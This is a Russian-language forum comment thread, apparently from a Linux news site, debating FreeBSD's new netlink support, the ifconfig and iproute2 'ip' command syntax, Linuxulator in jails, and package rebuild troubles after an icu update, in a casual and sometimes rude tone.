| 10.259, Аноним (-), 11:56, 13/04/2023 [^] [^^] [^^^] [ответить] | +/– | Пусть они такие современные гденить в другом месте вебмакачат, подальше от меня ... большой текст свёрнут, показать | | |
| |
| 11.262, Аноним (82), 12:30, 13/04/2023 [^] [^^] [^^^] [ответить] | +/– | Это ты сейчас так думаешь Не страдай хернёй, пиши код, код сам себя не напишет ... большой текст свёрнут, показать | | |
|
|
|
| 8.265, пох. (?), 14:51, 13/04/2023 [^] [^^] [^^^] [ответить] | +/– | примерно, да В одном общаются совершенно безумные шестидесятилетние фрики, в др... большой текст свёрнут, показать | | |
| |
| |
| 10.271, пох. (?), 17:45, 13/04/2023 [^] [^^] [^^^] [ответить] | +/– | так ПОЧЕМУ у него - 4 миллиарда а вы сосете х-й с вашими фрик-сетями тоже было ... текст свёрнут, показать | | |
| |
| |
| 12.295, пох. (?), 10:28, 14/04/2023 [^] [^^] [^^^] [ответить] | +/– | только один нюанс - он - работает, а не полтора миллиона несовместимых xep-ней и... большой текст свёрнут, показать | | |
|
|
| 10.277, Аноним (-), 18:42, 13/04/2023 [^] [^^] [^^^] [ответить] | +/– | Вот только отвиснув с 50К кодеров во фриноде коллективный разум нехило прокачал ... большой текст свёрнут, показать | | |
|
| 9.331, User (??), 20:32, 14/04/2023 [^] [^^] [^^^] [ответить] | +/– | Ну, как минимум на 1 6 части суши это не так Из клиентов на s4b разве что ГПН и... текст свёрнут, показать | | |
|
|
| 7.256, Аноним (-), 11:42, 13/04/2023 [^] [^^] [^^^] [ответить] | +/– | Человек может произвести в единицу времени ограниченный объем работ, поэтому на ... большой текст свёрнут, показать | | |
|
|
|
|
|
|
| 1.90, name (??), 19:33, 11/04/2023 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Там пакетные менеджеры все еще лазят голой рутовой жопой в интернет и разархивируют пакеты под рутом?
| | |
| |
| 2.100, Аноним (102), 20:06, 11/04/2023 [^] [^^] [^^^] [ответить]
| +1 +/– | |
>Там пакетные менеджеры все еще лазят голой рутовой жопой в интернет и разархивируют пакеты под рутом?
Всем пофигу куда и какой жопой оно лезет в инет если пакеты собираются в jail при помощи poudriere.
| | |
| |
| |
| 4.130, Аноним (102), 01:47, 12/04/2023 [^] [^^] [^^^] [ответить]
| +3 +/– | |
>pkg тоже собирает пакеты пуд..подр..пилять!
Вам к логопеду, сцударь.
| | |
|
|
| 2.139, Ivan_83 (ok), 05:28, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
pkg может работать и под юзером и ставит пакеты в профиль пользователя, см как устроен wine: его х32 часть ставится отдельно в хомяк, вместе со всеми зависимостями и от туда работает.
| | |
|
| 1.113, Роман (??), 21:03, 11/04/2023 [ответить] [﹢﹢﹢] [ · · · ]
| +1 +/– | |
кто разбирается, зачем во Фряхе захотели такое?
> позволяет использовать во FreeBSD Linux-утилиту ip из пакета iproute2 для управления сетевыми интерфейсами, установки IP-адресов, настройки маршрутизации и манипуляции объектами nexthop, хранящими данные о состоянии, используемом для передачи пакета в желаемую точку назначения. | | |
| |
| 2.120, пох. (?), 22:21, 11/04/2023 [^] [^^] [^^^] [ответить]
| +1 +/– | |
видимо миллионы макак со скриптами дергающими ip (включая тот же вайргад поди)
| | |
| |
| 3.134, Роман (??), 05:06, 12/04/2023 [^] [^^] [^^^] [ответить]
| +1 +/– | |
> видимо миллионы макак со скриптами дергающими ip (включая тот же вайргад поди)
Оставим миллионы за скобками, но тогда же начнётся разброд и шатание между ifconfig && ip , стройность нарушится и вообще кака из линукса
| | |
| |
| 4.260, Аноним (-), 12:17, 13/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Про стройность вот интересно. Через "ip" можно настроить по сути практически все. Предполагается что со временем даже "wg" перестанет существовать и вместо этого станет субкомандой "ip". Вот это я понимаю, стройность. А у вас в ваших парадигмах это все можно вообще? Хотя-бы чисто теоретически? Вайргаду как интерфейсу надо некоторые сильно отдельные знания не типичные для обычных сетевок, например ключи.
| | |
| |
| 5.326, пох. (?), 15:54, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
> в ваших парадигмах это все можно вообще? Хотя-бы чисто теоретически? Вайргаду
> как интерфейсу надо некоторые сильно отдельные знания не типичные для обычных
> сетевок, например ключи.
-link0 -link1 -link2
если не хватило - ну опаньки.
| | |
| |
| 6.348, Аноним (-), 11:34, 15/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
> -link0 -link1 -link2
> если не хватило - ну опаньки.
Фига интуитивно. Что такое link0? Что такое "ip route" я могу по названию догадаться, как и утил, который покажет адресный хелп. И вообще синтакс логичный и продуманый. Я только 1 минус знаю: типовое ifconfig a.b.c.d up все ж короче. На этом минусы ip вроде и заканчиваются, начинаются плюсы.
| | |
| |
| 7.395, пох. (?), 18:17, 16/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Фига интуитивно. Что такое link0?
параметр ifconfig. Специфический для конкретного драйвера - поэтому идем читать не man ifconfig а man драйвер
Что ничуть не менее интуитивно чем ip li ad wg0 type wireguard (где тут хоть что-то про ip?) но потом внезапно wg set (как раз ip-параметры)
Но их только три (и три ioctl соответственно). Ну и есть еще некоторые менее специфичные, часть наверное можно как-то переопределить специально для wg. В целом оба варианта не блещут интуитивностью.
| | |
|
|
|
|
|
| 2.121, crypt (ok), 22:25, 11/04/2023 [^] [^^] [^^^] [ответить] | +/– |  Why is Netlink important for FreeBSD POSIX defines an API for base functions sy... большой текст свёрнут, показать | | |
| |
| 3.133, Роман (??), 05:03, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
> Why is Netlink important for FreeBSD?
> POSIX defines an API for base functions/system calls. There is no such
> standard for the plethora of protocol/device-level/subsystem-level ioctls. Each subsystem/driver
> invents its own protocol, handling format and compatibility. Extendability is a
> notable problem in the networking control plane. For example, it is
> extremely hard to add properties to the routing socket messages without
> breaking compatibility.
> Netlink offers ..
Зачем netlink как протокол тут понятно, вопрос был про утилиту ip, откуда на фряхе iproute2 вообще
| | |
| |
| 4.159, bOOster (ok), 07:09, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Iproute2 там нет. Netlink прицеплен через netgraph к стандартному FreeBSD IP стеку. Утилита просто пустая оболочка.
| | |
|
| 3.148, Аноним (65), 06:13, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Проблема в том что диалектов нетлинка в линуксе так то более 1 и вообще,
1) Есть ioctl.
2) Есть нетлинк.
3) Есть всякие udev и их обвес эвентами.
4) Есть иные механизмы kernel <-> user.
На самом деле стоило бы сделать message bus - с нормальным дискавери сервисов и pubsub и пусть кернел ОС там вещает. И вот это уже сдирать другим. Но увы, не срослось.
| | |
| |
| 4.162, bOOster (ok), 07:14, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Диалект Netlink один, разновидностей доступа к нему несколько. Интерфейсов доступа. Все что ты описал это способы доступа, а не диалекты.
| | |
|
|
| |
| 3.150, Роман (??), 06:31, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Хм, т.е. софт который пользуется линуксятором допущен к настройке роутинга? Хотя конечно может оно просто так пытается ip address системы определять, т.е. на чтение а не на запись..
| | |
| |
| |
| 5.171, Ivan_83 (ok), 08:18, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Нетграф только через ngctl рулится либо напрямую сообщения слать нодам через сокет.
| | |
|
| 4.170, Ivan_83 (ok), 08:17, 12/04/2023 [^] [^^] [^^^] [ответить]
| +2 +/– |
А почему нет?
Нет дискриминации прав софта на основе его происхождения, есть только ограничения на базе прав пользователя и прочих специфичных механизмов контроля.
| | |
| |
| 5.337, Роман (??), 22:29, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
В чем тогда самобытность? Называться сразу ещё одним дистрибутивом линукса да и всё, заодно вайфай заработает
| | |
| |
| 6.358, Аноним (-), 13:15, 15/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Так вон тут советы раздают как зацепить линукс в виртуалочке для этого.
| | |
|
|
| 4.329, crypt (ok), 19:07, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Хм, т.е. софт который пользуется линуксятором допущен к настройке роутинга? Хотя конечно может оно просто так пытается ip address системы определять, т.е. на чтение а не на запись..
с учетом, что jail недавно обзавелся собственным сетевым стеком, отдельным от хоста, это вполне логично. я вот маршрутизатор в jail держу.
| | |
|
|
| 2.158, bOOster (ok), 07:04, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Linuxulator и много софта из Linux стана. 1С наконец-то через Linuxulator заработает в Jail без виртуалки.
| | |
| |
| 3.164, Роман (??), 07:17, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Как технологическое достижения должно быть прикольно, конечно. В реальности доводилось встречать внедренцев 1с требующих именно фразу и джейлы?
| | |
| |
| 4.166, bOOster (ok), 07:37, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
> Как технологическое достижения должно быть прикольно, конечно. В реальности доводилось
> встречать внедренцев 1с требующих именно фразу и джейлы?
А внедренцы то тут причем? Внедренцам, по факту, только Windows подавай.
| | |
| |
| 5.202, Аноним (65), 13:39, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Внедренцам, по факту, только Windows подавай.
1C сто лет как под линукс есть, по просьбам внедренцев видимо.
| | |
|
|
|
| 2.180, User (??), 09:41, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Вот тоже интересно. Вполне себе стройный, понятно организованный и работающий ifconifg... был. ip же в linux'е... ну в общем еще одно доказательство того, что линуксоЙды не умеют в cli-интерфейсы.
| | |
| |
| 3.242, пох. (?), 08:49, 13/04/2023 [^] [^^] [^^^] [ответить] | +/– | пока не ознакомишься с ключами link0 1, 2 ни логики, ни смысла, и хрен ты угад... большой текст свёрнут, показать | | |
| |
| 4.261, Аноним (261), 12:22, 13/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> По-моему, если откинуть синдром утенка, получилось лучше.
Да, пох, даже ты сегодня в ударе и дело говоришь. Если сравнивать пачку ioctl и нетлинк, нетлинк все же пожалуй лучше. На этот счет есть очень забавное рассуждение вот прямо в доке на wireguard (их пдфнике с сайта). Это том который про его дизайн и протокол разумеется, там расписано как это появилось и почему вот так.
| | |
| 4.278, User (??), 19:30, 13/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Нене, про внутрянку я ни слова ни полслова, я именно про логику поведения.
Почему утилита конфигурирования интерфейса пытается охватить все аспекты управления _интерфейсом_ - и не пытается управлять маршрутами мне больмень понятно (route/netstat нет, тут правда фигня) - а вот почему утилита с именем ip из пакета iproute2 пытается рулить тем, что очевидно ни к "ip" ни к "route" примерно никакого отношения не имеет - уже не очень. Или там почему ip tunnel add mode gre, но ip l2tp add tunnel не ясно.
| | |
| |
| 5.296, пох. (?), 10:37, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Или там почему ip tunnel add mode gre, но ip l2tp add tunnel не ясно.
совершенно ясно - tunnel это ip туннель, l2tp - pseudowire, там вообще может не быть ip или он не касается твоего хоста.
Но оба - поверх ip.
| | |
| |
| 6.319, User (??), 15:11, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Эммм... ну ок, делаем мы границу по ip\не ip (Несколько странное желание с т.з. конфигурируемой сущности т.к. с т.з. пользователя и то и другое - туннель) - но почему один add tunnel а другой tunnel add? А если про pseudowire - тогда надо вспоминать еще и про ip link add ... type gretap\gre\ipip - и снова видим причудливую логику по которой управление одной сущностью "туннель" рассыпано по разным утилитам.
| | |
| |
| 7.321, пох. (?), 15:32, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
потому что первая субкоманда - tunnel, а вторая - l2tp.
link add - это ip линки. У них общий синтаксис - в отличие от pw у которых совершенно другой набор параметров и синтаксис нужен отдельный.
Если пользователь неспособен понять разницу между ip туннелем и pw (между l3 и l2 если пользоваться ущербной терминологией osi) - ему не надо ничего настраивать, ему надо обратиться к сетевому админу.
| | |
| |
| 8.325, User (??), 15:45, 14/04/2023 [^] [^^] [^^^] [ответить] | +/– | Ну вот про это и говорю Иди отсюда мальчик - специально обученный человек лучш... текст свёрнут, показать | | |
| |
| 9.327, пох. (?), 16:26, 14/04/2023 [^] [^^] [^^^] [ответить] | +/– | ну да Мне вот не надо объяснять почему там туннель линк, а тут - l2tp Тем кто ... текст свёрнут, показать | | |
| |
| 10.328, User (??), 17:53, 14/04/2023 [^] [^^] [^^^] [ответить] | +/– | Ну вот это и называется неумение в cli , когда люди пишут интерфейсы сами для ... текст свёрнут, показать | | |
|
|
|
|
|
| 5.298, Аноним (298), 11:54, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Я тут не копенгаген, но вот вроде вопрос, в догонку:
почему утилита ip отвечает за мак-адреса на интерфейсе? Или не отвечает? IP разве не уровнем выше? Какого ip вообще за интерфейсы отвечает, а не за internet protocol?
| | |
| |
| 6.305, пох. (?), 12:51, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
> Я тут не копенгаген, но вот вроде вопрос, в догонку:
> почему утилита ip отвечает за мак-адреса на интерфейсе?
потому что это виртуальная характеристика интерфейса, так же как и статус. И ее удобно иметь там же где остальные виртуальные характеристики, а не отдельно в непонятном месте.
> Или не отвечает? IP разве не уровнем выше?
в ip нет никаких уровней - это сбивающая с толку высосанная из пальца выдумка комитета ISO.
> Какого ip вообще за интерфейсы отвечает, а не за internet protocol?
такого что все настройки этого протокола у нас привязаны к интерфейсу.
| | |
| 6.308, Аноним (-), 13:09, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
"ip" в линуксе это такой grand central настроек интерфейсов и всего что с этим связано. Ему не важен тип интерфейса, он рулит чем угодно - от отсылки интерфейса в сетевой неймспейс и создания виртуальных линков для контейнера до установки мака или up/down линка.
И все это более-менее унифицировано для всех типов интерфейсов (насколко это возможно). Теоретически даже конфиг wireguard можно сделать как субкоманды "ip". Практически пока для этого отдельный wg но он может быть перенесен вот туда при желании.
Единственное исключение - это wifi пожалуй, где сильно специфичные для wifi аспекты рулит все же iw и другие утилиты (eg wpa_supplicant)
| | |
| |
| 7.323, пох. (?), 15:40, 14/04/2023 [^] [^^] [^^^] [ответить] | +/– | это просто кого надо желание и его не проявили Автор изначально-то именно так и... большой текст свёрнут, показать | | |
| |
| 8.357, Аноним (-), 13:14, 15/04/2023 [^] [^^] [^^^] [ответить] | +/– | На лично мой вкус это 50 50 Я ну уверен что там народ тоже определился на 100 ... большой текст свёрнут, показать | | |
|
|
|
|
|
|
|
| 1.281, iZEN (ok), 22:01, 13/04/2023 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
 Обновлением icu-72.1 полдесктопа сломали. Всё перекомпилировать надо.
| | |
| |
| 2.300, Аноним (102), 12:13, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
>Обновлением icu-72.1 полдесктопа сломали. Всё перекомпилировать надо.
Вот по этому и рекомендуют юзать poudriere или ему подобные для билда пакетов.
| | |
| |
| 3.330, iZEN (ok), 20:03, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
>>Обновлением icu-72.1 полдесктопа сломали. Всё перекомпилировать надо.
> Вот по этому и рекомендуют юзать poudriere или ему подобные для билда
> пакетов.
Chromium не собирается. Firefox перестал воспроизводить звук на видео. Как так-то?!
| | |
| |
| 4.343, Аноним (102), 02:40, 15/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
>Chromium не собирается. Firefox перестал воспроизводить звук на видео. Как так-то?!
Ну вот страдай. Была бы у тебя своя репа, тот же chromium не собрался бы и не поломал систему. А в случае неработающего звука в firefox - откатился бы на предыдущую версию безо всякого шаманства с portdowngrade и разруливания проблем с либами.
| | |
| |
| 5.356, iZEN (ok), 12:56, 15/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Ну вот страдай. Была бы у тебя своя репа, тот же chromium не собрался бы и не поломал систему. А в случае неработающего звука в firefox - откатился бы на предыдущую версию безо всякого шаманства с portdowngrade и разруливания проблем с либами.
- свой репозиторий есть.
- откатился без всяких ненужных шаманств с помощью zfs rollback poolname/usr/local@good ; zfs rollback poolname/var/db/pkg@good.
- надо иметь jail для сборки новых версий пакетов (и их зависимостей), а не на живую обновляться.
- страдаю от того, что всё так рутинно.
| | |
| |
| |
| 7.360, iZEN (ok), 15:02, 15/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Ничего не починили — для сборки пакетов сборки thunderbird и firefox требуется библиотека libicui18n.so.72 (от предыдущей версии icu). Так что опять — облом. И опять откат на предыдущий снапшот...
| | |
| |
| 8.366, Аноним (102), 18:50, 15/04/2023 [^] [^^] [^^^] [ответить] | +/– | Не знаю что там у тебя за зависимости, но у меня репа сказала Installed package... большой текст свёрнут, показать | | |
| |
| 9.371, iZEN (ok), 19:35, 15/04/2023 [^] [^^] [^^^] [ответить] | +/– | У меня всё ещё смешнее pkg upgrade -r myrepo The following 282 package s wil... большой текст свёрнут, показать | | |
| 9.405, iZEN (ok), 20:37, 17/04/2023 [^] [^^] [^^^] [ответить] | +/– | Обновились firefox-112 0 1_1,2 и thunderbird-102 10 0_2 Но в Firefox отсутствуе... текст свёрнут, показать | | |
|
|
|
|
|
|
|
|
|
